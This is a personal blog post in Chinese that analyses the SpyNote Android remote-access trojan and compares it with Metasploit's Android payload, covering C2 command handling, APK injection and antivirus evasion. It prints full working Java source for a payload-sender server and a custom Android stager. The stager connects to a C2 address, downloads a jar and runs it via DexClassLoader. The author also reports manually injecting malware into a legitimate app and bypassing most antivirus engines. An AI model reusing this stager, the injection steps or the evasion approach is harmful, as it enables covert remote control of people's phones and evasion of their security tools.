SpyNote与Metasploit框架其Android载荷的具体分析与比较

本文写于2020年6月26日,于2021年由CSDN迁移博客至此,本文内容及思想仅代表个人.
本人于2022年6月8日Review此文,发现该文涉及的所谓知识点大多阐述不全,且思想与个人理解均十分浅显,故于此日修改文章部分内容.

前言

说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中
甚至是最近也捕获到了利用"新冠病毒"相关资讯进行传播的SpyNote样本
方便的Gui操作页面,行云流水的攻击过程...
但它真有那么优秀以至于无懈可击吗?
著名渗透测试框架Metasploit中的安卓载荷和它相比到底如何呢?

章节简述

  1. SpyNote运行流程分析
  2. Payload加载流程比对
  3. APK注入流程比对
  4. 灵活性与可扩展性比对
  5. 免杀难易程度比对

SpyNote运行流程分析

先利用SpyNote输出一个受控端APK
在这里插入图片描述
如图,程序主入口为 yps.eton.application.M
跟进函数.
在这里插入图片描述
程序最终会进入第一处标记处,直接启动类名为A的Service组件
若在输出APK时在SpyNote中选中了防用户卸载选项,程序还会继续向下进入第二处分支
尝试申请权限并接管设备管理器

跟进该组件.

在这里插入图片描述
如图,A方法重写onCreate方法后立刻调用startForeground方法在前台显示一个Notification,而参考Android Developer文档有关前台服务的相关细则可知此处调用startForeground方法是为了使服务提升为Foreground服务,以防止载荷被用户置入后台时被系统回收.
如下图为Android Developer对于该方法的部分描述.

image

继续分析载荷.

在这里插入图片描述

程序在该方法内继续向下执行,进入a方法

在这里插入图片描述
a方法体的开始,程序又会进入j方法中

在这里插入图片描述
如图,j方法体尝试获取root权限,并用获取了root权限的Runtime实体尝试输出文件,以此判断应用是否拥有最高权限

在这里插入图片描述
跳出j方法,程序进入h方法体,到此为止,Payload才被正式加载

跟进h方法
在这里插入图片描述
h方法体新建立了一个线程,以方便进行在子线程进行网络层操作.
继续向下执行至标记处,程序获取了"ArrayDns_Key"键中的值,而该键的值正是C2的地址与端口
继续向下执行,C2地址被分别赋予n成员

在这里插入图片描述
继续向下执行,程序将n成员中的C2地址与端口提取出来,实体化一个InetSocketAddress实例并传入
在第二处标记处,程序就正式向C2地址建立连接了
请注意,在第三处标记点,q成员被赋予C2地址的IO流,此处执行在下面还会有体现
接下来程序进入i方法体,该方法体与Payload的加载密切相关

由于JADX没能成功反编译i方法,故使用JDCORE继续进行操作

在这里插入图片描述
i方法体内,程序同样新建立一个线程,读图可以很容易看出在此线程内程序就尝试接管电源与网络控制器了

继续向下看
在这里插入图片描述
此处的m方法在编辑器中并没有找到,大概是因为反编译工具的问题,所以此处从smali层直接阅读代码

在这里插入图片描述
首先在smali中找到i方法体,可以看到A$25.smali文件正是程序建立线程的地方
跟进

在这里插入图片描述
在该smali文件中我找到之前的那处执行,可以看见m方法体需要传入一个A类成员,并且返回对象为BufferedReader

找到m方法

在这里插入图片描述

可见m方法返回了q成员,正是与C2地址建立连接的IO流对象

这里我将反编译工具没有正常显示但仍然需要用到的方法全部展示一遍

在这里插入图片描述

b方法:将传入的参数存入o成员

在这里插入图片描述

n方法:取出o成员

将几个会用到的方法展示完成后继续查看代码
在这里插入图片描述
如图,第一处标记程序将取出与C2地址的IO流并检查连接是否建立
接着在第二处标记程序读出IO流中的数据,暂时存入i成员
继续向下执行,程序在读出IO流中的数据后转换为String,并最终利用b方法存入o成员
在最后一处标记点,程序检查o成员是否以"c2x2824x82..."开头和结尾,若不是则继续循环上面的步骤
这里不难看出受控端与C2地址传输信息的方式是以某些特殊字符作为标记,并以此区分哪些是C2下达的指令

在这里插入图片描述
继续执行,程序会将C2传输来的信息与写死在本地的字符进行比较,以此来执行C2想让傀儡机执行的代码
在这里插入图片描述
例如传输来的信息如果是"shell_terminal"
程序将会进入如下分支

在这里插入图片描述
最终程序将执行j类的a方法体
在这里插入图片描述
通读代码不难得出该方法就是在本机执行任意代码并向C2地址回传命令的回显

至此,SpyNote的运行流程分析完毕


Payload加载流程比对


SpyNote

从上面的SpyNote分析过程来看
SpyNote加载恶意代码的方法很直接但却十分笨拙

image
如流程图所示
SpyNote的工作仅仅是接收命令,执行命令,回传命令
明明非常简单,但又为什么说它十分笨拙?

将代码”全部写死在本地,时机适当时予以调用“的执行方式的确很简单
但随之而来的代价就是极高度的代码耦合与极其不便捷的维护与软件升级

以这种方式加载代码完全没有考虑到中马机适应C2功能升级的情况!
试想一下,若控制端与中马机的通讯方式更新,老旧的中马机不但不能随之得到及时的功能更新
反而还可能因为无法解析新的通讯方式而与控制端失去联系


Metasploit

关于安卓载荷的运行流程
可以查看我之前写的一篇博文
【逆向&编程实战】Metasploit安卓载荷运行流程分析
这里简要介绍一下它加载Payload的核心方法

在这里插入图片描述
看到图中用箭标所指处的对象了吗?DexClassLoader
是的,这就是Metasploit安卓载荷加载Payload方法的核心组件

先来看看Android Developer如何描述该组件.
在这里插入图片描述AndroidDocument-DexClassLoader

如标记处所述,DexClassLoader可以从jarapk文件中动态执行自身应用中不存在的class文件
若看过我之前那篇对安卓载荷的分析,就已经可以清楚地知道Payload的加载方式

image

如果要用一句话对这种加载方式进行描述,那就是复杂但却十分灵活

其中DexClassLoader对象有着极大的灵活性与操作空间
这种加载方式几乎使得载荷与C2服务器分别成为两个独立的个体
C2服务器中远控功能的更新几乎不需要与中马机进行任何互动
因为再怎么更新功能,只要将Jar文件传入载荷,载荷都会乖乖地动态加载其中的代码

倒不如说这种代码耦合性极低的运行方式反而使得SpyNote更加显得臃肿和笨拙


APK注入流程比对


SpyNote

在这里插入图片描述

SpyNote的客户端带有一个将恶意代码与其他正常软件合并的功能

注入测试用的Apk就用我17年左右开发的漫画软件罢(半成品,开发到一半服务器被墙了就没再动过这个项目)
在这里插入图片描述
在这里插入图片描述
如图,这就是输出的Apk,不过感觉样子好像没变

总之先上传到沙箱里看看
在这里插入图片描述
检出率完全没有任何变化?!

感到理解不能的我随之将输出的Apk进行再次反编译
依然跟进主入口
在这里插入图片描述
入口函数会获取自身资源中的merge_file进行初步判断
最终程序将进入箭头所标的分支
跟进b方法
在这里插入图片描述
在第一处红线标记处,程序获取了自身raw资源中google文件的IO流
接着在本地以base.apk的形式输出
最终实例化一个Intent对象通知系统安装输出在本地的base.apk

在这里插入图片描述
查看raw文件夹中的google.apk
什么?!这不就是我想要注入的Apk吗?
到头来Spynote只是将Apk写入raw资源文件里
接着受害者启动受控端的时候再输出正常应用并安装
你在逗我吗?这种可有可无的注入?这也太无能了吧?!
连恶意代码也完全没有变化,检出率当然不会改变了

好吧,既然SpyNote所谓的注入只是在资源文件层面的简单替换操作
那我就手动将恶意代码写入Apk后再进行总结吧

注入思路
image

将恶意代码写入正常Apk的流程不再过多阐述
这里只阐述关键步骤

由于SpyNote的受控端很多代码都需要从R文件中获取指定的资源文件
比如获取C2服务器的地址就需要从string资源文件中获取键为host的值
所以在复制指定资源文件到正常软件中时同样也要修改Smali代码中R.smali对资源文件的声明
在这里插入图片描述
手动在R.smali中分别声明了6个需要用到的资源文件
接着在需要调用到这些资源文件的代码依次替换这些资源所指向的值
在这里插入图片描述
但是完成这些并没有结束
受控端的代码还调用到了经过混淆的android-v7
只有将这个v7库再次插入应用的Smali层,接着在恶意Smali代码中引用才能使得软件正常运行
该步骤不再进行阐述
在这里插入图片描述
回编译后安装测试
可见在软件正常运行的同时Spynote上线
在这里插入图片描述上传云沙箱
检出率下降到4

在这里插入图片描述
接下来对SpyNote的注入流程进行总结
SpyNote客户端所谓的"注入"与其说是注入,倒不如说只是套了个可有可无的壳子,连鸡肋都算不上
而手动注入时由于SpyNote在多处调用到了资源文件,使得手动注入的过程变得十分繁琐
光是Debug就花去了我十几分钟,明明可以在Smali层进行操作,却要将关键数据写进资源文件的反智行为实在让我困扰


Metasploit

我想msfvenom的注入功能不用过多阐述
这里只简要阐述一下

依然使用之前的Apk测试注入功能
在这里插入图片描述
云沙箱的3检出率还算差强人意

在这里插入图片描述反编译输出的Apk

在这里插入图片描述
尽管是几年前开发的软件,但整个软件的结构我仍然能够记起
图中标记处就是msfvenom在清单文件中注入的信息
从后两处标记处不难得出这两处就是类名与包名混淆过的恶意代码
在这里插入图片描述
在程序入口处被注入了恶意代码的入口
可以直接跟进到Payload加载处
在这里插入图片描述
这里Payload就已经加载了,不再过多描述

恶意代码的整个注入过程可谓是行云流水
没有多余沉淀的资源文件,所有关键信息全部都保存在Smali
恶意代码的运行更是避免了调用到其他第三方类库,大大降低了代码耦合程度和注入复杂度
仅仅需要在适当时机调用恶意函数的入口,十分方便

相比SpyNote多余的代码和文件就使得注入过程十分繁琐,不仅要手动声明资源
而恶意函数调用到的其他第三方类库还经过了混淆,这样就不得不再次将类库重新写入正常Apk
增大了软件体积。反而如果少了这种无意义的操作,软件还无法运行


灵活性与可扩展性比对


SpyNote

抱歉,对于SpyNote来说,它几乎没有灵活性和扩展性可言!
这就是将恶意代码全部写死在本地的后果!
如果要扩展恶意代码的功能,那么就必须相应地更新控制端的代码以适应受控端的代码!
若是要扩展控制端的功能,那么就要相应地重写受控端代码!
SpyNote极高的代码耦合度和操作的极其不便利程度使得对SpyNote进行二次开发繁琐到几乎不可能
可谓是牵一发而动全身!


Metasploit

关于灵活性和可扩展程度,Metasploit可谓是几乎毫无疑问的完全站所有远控软件的上风
为什么这么说?还记得安卓载荷加载恶意代码的核心方法吗?对,就是DexClassLoader对象
这个对象的实现功能可谓是给二次开发带来了极大的便利,我甚至不需要更新Msf自带的安卓载荷
就可以轻松实现在载荷上执行我所设想的新功能

由此我开发了一个载荷发送工具以便实现我想要的效果
开发原理与思路完全可以参照我上面所提到的之前写的一篇博文:
【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell

在这里插入图片描述
代码:

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;

public class Main {
	//Necessary Args
	private static String Port,dexLoadPath,dexLength,loadClass;

public static void main(String[] args) {
	if(args.length<3) {
		System.out.println("Auth:MG1937 CSDN_Blog:Aldys4 QQ:3496925334\nExample:java -jar payloadSender.jar 1937 C:/evil.jar com.evil.Main");
	}
	else {
		Port=args[0];
		dexLoadPath=args[1];
		loadClass=args[2];
		try {
			getClient();
		} catch (Throwable e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
}
public static void getClient() throws Exception {
	ServerSocket serverSocket=new ServerSocket(Integer.valueOf(Port));
	System.out.println("[*]ServerSocket was built,wait for Connection...");
	Socket socket=serverSocket.accept();
	System.out.println("[*]"+socket.getInetAddress().toString()+" Has connected!Sending payload...");
	Thread.sleep(1000);
	sendPayload(new DataOutputStream(socket.getOutputStream()));
}
public static void sendPayload(DataOutputStream outputStream) throws Exception {
	File file=new File(dexLoadPath);
	byte[] b=readPayload(file);
	dexLength=(int)b.length+"";
	System.out.println("[*]Send Class Length...");
	outputStream.writeInt(Integer.valueOf(loadClass.length()));
	System.out.println("[*]Send Class you want to load...");
	outputStream.write(loadClass.getBytes());
	Thread.sleep(1000);
	System.out.println("[*]Send Payload Length...");
	outputStream.writeInt(Integer.valueOf(dexLength));
	System.out.println("[*]Send Payload...");
	outputStream.write(b);
	System.out.println("[*]DONE!");
}
public static byte[] readPayload(File file) throws Exception {
	try {
        int length = (int) file.length();
        byte[] data = new byte[length];
        new FileInputStream(file).read(data);
        return data;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}
}

简要描述一下这个工具的功能
依据载荷接收Jar和动态加载其中Dex的具体流程而开发的进行下发恶意Jar的工具

工具编写完成,接下来构造一个可被载荷执行的恶意Jar
在这里插入图片描述如图,恶意代码的功能很简单
利用反射获取载荷的Context实例
接着实例化一个Intent对象,并通过这个对象打开我所指定的网址

编译Apk文件,取出其中的Dex文件
在这里插入图片描述
如图,利用d2jdx将dex文件重新打包成可被DexClassLoader对象识别的Jar文件
利用工具发送至中马机进行测试
image
如图,当点击载荷时,自动与工具建立了一个Socket连接
接着Jar被发送到载荷上时,浏览器自动打开了百度的页面
测试成功

或许有的人会问了
恶意代码所获取的Context实例的父类不是Application么?
那样的话能执行的命令还是会有限制
比如Application对象就不能在子线程中调用runOnUIThread函数操作UI进程啊!

这还不简单吗?
既然载荷加载的核心方法已经知道了
那么就自己利用这种加载方法再开发一个载荷不就好了

MainActivity.java
在这里插入图片描述
getContext.java
在这里插入图片描述

如图,MainActivity中是用来加载核心代码的类
getContext类则是以静态方法储存Context的类
这么一来就大概都懂了吧

image
这样一来就可以在子线程中任意调用UI函数了!
重新编写测试用的恶意代码
在这里插入图片描述
如图,事先在工程里也创建一个和载荷同包名和类名的getContext对象
接着在正式编译时删除恶意Jar中的getContext对象,这样在执行时就会调用载荷里的Context对象
这样一来载荷对象就真正被获取了

在这里插入图片描述发送载荷,可以看见UI函数被成功操作,弹出了一个警示框

代码:
MainActivity

public class MainActivity extends Activity {

    String ip="192.168.0.104";
    String port="1937";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        getContext.setContext(this);
            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        getC2C();
                    }catch (Throwable e){}
                }
            }).start();

    }
    public void getC2C() throws IOException {
        Socket socket=new Socket(ip,Integer.valueOf(port));
        InputStream inputStream=socket.getInputStream();
        OutputStream outputStream=socket.getOutputStream();
        DataInputStream dataInputStream=new DataInputStream(inputStream);
        DataOutputStream dataOutputStream=new DataOutputStream(outputStream);
        try {
            getPayload(dataInputStream,dataOutputStream);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }
    public void getPayload(DataInputStream dataInputStream,DataOutputStream dataOutputStream) throws Exception {
        final String str = this.getFilesDir().toString();
        String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
        String str3 = str2 + ".jar";
        String str4 = str2 + ".dex";
        String str5 = new String(getPayload(dataInputStream));
        System.out.println(str5);
        byte[] a2 = getPayload(dataInputStream);
        System.out.println("byte get!");
        this.getResources().getString(R.string.app_name);
        File file = new File(str3);
        if (!file.exists()) {
            file.createNewFile();

        }
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        fileOutputStream.write(a2);
        fileOutputStream.flush();
        fileOutputStream.close();
        Class loadClass = new DexClassLoader(str3, str, str, MainActivity.class.getClassLoader()).loadClass(str5);
        Object newInstance = loadClass.newInstance();
        file.delete();
        new File(str4).delete();
        loadClass.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, Object[].class}).invoke(newInstance, new Object[]{dataInputStream, dataOutputStream, new Object[]{str,null}});

    }
    public byte[] getPayload(DataInputStream dataInputStream) throws Exception {
        int readInt = dataInputStream.readInt();
        byte[] bArr = new byte[readInt];
        int i = 0;
        while (i < readInt) {
            int read = dataInputStream.read(bArr, i, readInt - i);
            if (read < 0) {
                throw new Exception();
            }
            i += read;
        }
       
        return bArr;

    }
}

getContext

public class getContext {
    static public Context context_=null;
    static public void setContext(Context context){
        context_=context;
    }
    static public Context getContext_(){return context_;}
}

从载荷发送工具编写到自主开发远控载荷的流程来看
Metasploit可扩展性和灵活程度是当之无愧的
相比起SpyNote那种几乎无二次开发与扩展可能的远控工具来看简直是高下立判


免杀难易程度比对


SpyNote

由于SpyNote的代码高耦合度,所有恶意代码都写在本地使得病毒特征明显
免杀似乎只能从Dex加壳的层面下手
这里不细讲


Metasploit

几乎开放式的恶意Jar动态加载过程不仅方便了二次开发
甚至是源码级免杀也能轻松实现
将在上一个模块我自主开发的载荷传入云沙箱
在这里插入图片描述可以看到仅仅只有一检出率
bypass了国内大多数主流反病毒软件
免杀效果可以说是非常理想了


总结

从三个方面去对比和分析这两款远控工具
结果无一例外Metasploit都完全占在上风


若要把SpyNote比作是一把利剑的话,剑客就得去适应其剑身和握柄.
那么Metasploit就是一块可以随意改造的模板,这个模板怎么使用全看铸剑人的意愿

可以说Metasploit是一款开放性很强又极其灵活的工具,而SpyNote只能算是被组装好的自动化武器,
它的拆卸,改装都很麻烦,似乎只能随着原开发者的意愿去使用

所以Metasploit可以说是当代当之无愧的几乎所有远控工具的巅峰!

写上面这句话的时候本人还是高中...
无知者无畏...轻喷...

posted on 2021-06-17 13:29  MG_Aldys4  阅读(1222)  评论(0编辑  收藏  举报

导航